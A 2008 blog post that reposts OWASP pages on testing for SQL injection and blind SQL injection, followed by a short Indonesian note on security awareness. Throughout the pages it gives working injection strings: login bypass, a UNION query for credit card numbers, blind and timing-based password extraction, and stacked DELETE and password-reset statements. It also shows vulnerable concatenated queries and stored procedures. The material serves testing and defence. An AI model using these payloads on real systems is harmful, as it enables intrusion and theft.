Senin, 13 Oktober 2008

Testing for SQL Injection

OWASP Testing Guide v3 Table of Contents

This is a draft of a section of the new Testing Guide v3. For a stable version, please download the OWASP Testing Guide v2 here.

Contents

[hide]


Overview

An SQL injection attack consists of insertion or "injection" of an SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

Related Security Activities

Description of SQL Injection Vulnerabilities

See the OWASP article on SQL Injection Vulnerabilities.

See the OWASP article on Blind_SQL_Injection Vulnerabilities.

How to Avoid SQL Injection Vulnerabilities

See the OWASP Development Guide article on how to Avoid SQL Injection Vulnerabilities.

See the OWASP Code Review Guide article on how to Review Code for SQL Injection Vulnerabilities.


Description of the Issue

SQL Injection attacks can be divided into the following three classes:

  • Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
  • Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
  • Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server.

Independent of the attack class, a successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as "Blind SQL Injection".

Black Box testing and example

SQL Injection Detection

The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

  • Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
  • Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
  • E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. The very first test usually consists of adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113

Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

A full error message like the ones in the examples provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

Standard SQL Injection Testing

Consider the following SQL query:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

$username = 1' or '1' = '1
$password = 1' or '1' = '1

The query will be:

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.
In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases. Another example of query is the following:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to invalidate the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own symbols of comment, however, a common symbol to the greater part of the database is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

$username = 1' or '1' = '1'))/*
$password = foo

In this way, we'll get the following query:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

The URL request will be:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo

Which returns a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes the condition that the number of the returned tuple must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT ", where is the number of the tuples that we expect to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/*
$password = foo

In this way, we create a request like the follow:

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo

Union Query SQL Injection Testing

Another test involves the use of the UNION operator. This operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables. We suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following Id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

which will join the result of the original query with all the credit card users. The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.

Blind SQL Injection Testing

We have pointed out that there is another category of SQL injection, called Blind SQL Injection, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500).
By using the inference methods, it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. This method consists of carrying out a series of boolean queries to the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

http://www.example.com/index.php?id=1'

we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples, we will use the following pseudo-functions:

SUBSTRING (text, start, length): it returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.

ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.

LENGTH (text): it gives back the length in characters of the input text.

Through such functions, we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

that creates the following query (from now on, we will call it "inferential query"):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:

$Id=1' AND '1' = '2

by which will create the following query:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. In case the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedue (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field Id:

$Id=1' AND LENGTH(username)=N AND '1' = '1

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

The query returns either true or false. If we obtain true, then we have completed inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability. A simple tool which performs this task, via GET requests on the MySql DB, is SqlDumper, which is shown below.

Image:sqldumper.jpg

Stored Procedure Injection

Question: How can the risk of SQL injection be eliminated?
Answer: Stored procedures.
I have seen this answer too many times without qualifications. Merely the use of stored procedures does not assist in the mitigation of SQL injection. If not handled properly, dynamic SQL within stored procedures can be just as vulnerable to SQL injection as dynamic SQL within a web page.

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Black box testing uses SQL injection to compromise the system.
Consider the following SQL Server Stored Procedure:

Create procedure user_login @username varchar(20), @passwd varchar(20) As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:

anyusername or 1=1'
anypassword

This procedure does not sanitize the input therefore allowing the return value to show an existing record with these parameters.

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.
Consider the following SQL Server Stored Procedure:

Create procedure get_report @columnamelist varchar(7900) As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

Related Articles


Technology specific Testing Guide pages have been created for the following DBMSs:

References

Whitepapers

Tools

Blind SQL Injection

This is an Attack. To view all attacks, please see the Attack Category page.



ASDR Table of Contents

Contents

[hide]


Last revision (mm/dd/yy): 9/14/2008

Overview

When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.

Threat Modeling

  • SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.
  • SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections.
  • The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.

Related Security Activities

How to Avoid SQL Injection Vulnerabilities

See the OWASP Development Guide article on how to Avoid SQL Injection Vulnerabilities.

How to Avoid SQL Injection Vulnerabilities

See the OWASP Code Review Guide article on how to Review Code for SQL Injection Vulnerabilities.

How to Test for SQL Injection Vulnerabilities

Vulnerabilities.


Description

TBD

An attack is an action taken by a threat agent to exploit a vulnerability. Be sure you don't put [threat agents] or [vulnerabilities] in this category.

  1. Start with a one-sentence description of the attack
  2. How is the attack is launched?
  3. Who are the likely threat agents?
  4. What vulnerability does this attack target?

Risk Factors

TBD

  • Talk about the factors that make this attack likely or unlikely to actually happen
  • You can mention the likely technical impact of an attack
  • The [business impact] of an attack is probably conjecture, leave it out unless you're sure

Examples

An attacker may verify whether a sent request returned True or False in a few ways:


(in)visible content

Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple of simple tests if a page is vulnerable to SQL Injection attack.

Example URL:

http://newspaper.com/items.php?id=2

sends the following query to the database:

SELECT title, description, body FROM items WHERE ID = 2

The attacker may try to inject any (even invalid) query, what should cause the query to return no results:

http://newspaper.com/items.php?id=2 and 1=2

Now the SQL query should looks like this:

SELECT title, description, body FROM items WHERE ID = 2 and 1=2

Which means that the query is not going to return anything.

If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will certainly inject a valid query:

http://newspaper.com/items.php?id=2 and 1=1

If the content of the page is the same, then the attacker is able to distinguish when the query is True or False.


What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker's imagination.

RDBMS fingerprinting

If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier to him. One of the most popular methods to do this is to call functions which will return the current date. MySQL, MS SQL or Oracle have different functions for that, respectively now(), getdate(), and sysdate().

Timing Attack

A Timing Attack depends upon injecting the following MySQL query:

SELECT IF(expression, true, false)

Using some time-taking operation e.g. BENCHMARK(), will delay server responses if the expression is True.

BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))
- will execute 5000000 times the ENCODE function.

Depending on the database server performence and its load, it should take just a moment to finish this operation. The important thing is, from the attacker's point of view, to specify high number of BENCHMARK() function repetitons, which should affect the server response time in a noticeable way.

Example combination of both queries:

1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;

If the server response was quite long we may expect that the first user password character with user_id = 1 is character '2'.

(CHAR(50) == '2')

Using this method for the rest of characters it's possible to get to know entire password stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.

Obviously, in this example the names of the tables and the number of columns was specified. However it's possible to guess them or check with a trial and error method.

Other databases than MySQL also have implemented functions which allow them to use timing attacks:

  • MS SQL 'WAIT FOR DELAY '0:0:10
  • PostgreSQL - pg_sleep()

Conducting Blind_SQL_Injection attacks manually is very time consuming, but there are a lot of tools which automate this process. One of them is SQLMap (http://sqlmap.sourceforge.net/) developed within OWASP grant program. On the other hand, tools of this kind are very sensitive to even small deviations from the rule. This includes:

  • scanning othe WWW cluster, where clocks are not ideally synchronized,
  • WWW services where argument acquiring method was changed, e.g. from /index.php?ID=10 to /ID,10

Related Threat Agents

  • TBD

Related Attacks

Related Vulnerabilities

Related Controls

References

Online Resources

Tools

SQL Injection

This is an Attack. To view all attacks, please see the Attack Category page.



ASDR Table of Contents

Contents

[hide]


Overview

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

Threat Modeling

  • SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.
  • SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections.
  • The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.

Related Security Activities

How to Avoid SQL Injection Vulnerabilities

See the OWASP Guide article on how to Avoid SQL Injection Vulnerabilities.

How to Avoid SQL Injection Vulnerabilities

See the OWASP Code Review Guide article on how to Review Code for SQL Injection Vulnerabilities.

How to Test for SQL Injection Vulnerabilities

See the OWASP Testing Guide article on how to Test for SQL Injection Vulnerabilities.


Description

SQL injection errors occur when:

  1. Data enters a program from an untrusted source.
  2. The data used to dynamically construct a SQL query

The main consequences are:

  • Confidentiality: Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL Injection vulnerabilities.
  • Authentication: If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.
  • Authorization: If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL Injection vulnerability.
  • Integrity: Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL Injection attack.

Risk Factors

The platform affected can be:

  • Language: SQL
  • Platform: Any (requires interaction with a SQL database)

SQL Injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind.

Essentially, the attack is accomplished by placing a meta character into data input to then place SQL commands in the control plane, which did not exist there before. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

Examples

Example 1

In SQL:

select id, firstname, lastname from authors

If one provided:

Firstname: evil'ex
Lastname: Newman

the query string becomes:

select id, firstname, lastname from authors where forename = 'evil'ex' and surname ='newman'
which the database attempts to run as
Incorrect syntax near al' as the database tried to execute evil.

A safe version of the above SQL statement could be coded in Java as:

String firstname = req.getParameter("firstname");
String lastname = req.getParameter("lastname");
// FIXME: do your own validation to detect attacks
String query = "SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, firstname );
pstmt.setString( 2, lastname );
try
{
ResultSet results = pstmt.execute( );
}

Example 2

The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

 ...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = "'"
+ userName + "' AND itemname = '"
+ ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

The query that this code intends to execute follows:

 SELECT * FROM items
WHERE owner =
AND itemname = ;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR 'a'='a" for itemName, then the query becomes the following:

 SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';

The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

 SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3

This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name hacker enters the string "hacker'); DELETE FROM items; --" for itemName, then the query becomes the following two queries:

 SELECT * FROM items
WHERE owner = 'hacker'
AND itemname = 'name';

DELETE FROM items;

--'

Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error in Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, in databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string "name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a", the following three valid statements will be created:

 SELECT * FROM items
WHERE owner = 'hacker'
AND itemname = 'name';

DELETE FROM items;

SELECT * FROM items WHERE 'a'='a';

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

  • Target fields that are not quoted
  • Find ways to bypass the need for certain escaped meta-characters
  • Use stored procedures to hide the injected meta-characters

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

 procedure get_item (
itm_cv IN OUT ItmCurTyp,
usr in varchar2,
itm in varchar2)
is
open itm_cv for ' SELECT * FROM items WHERE ' ||
'owner = '''|| usr ||
' AND itemname = ''' || itm || '''';
end get_item;

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Related Threat Agents

Related Attacks

Related Vulnerabilities

Related Controls

References

Security

Security awareness atau perhatian terhadap secu-
rity di Indonesia meningkat dengan signifikan. Terbukti dengan
perusahaan-perusahaan besar dan menengah umumnya sudah
meng-implementasikan firewall, IDS maupun IPS serta tools dan
teknologi security lainnya.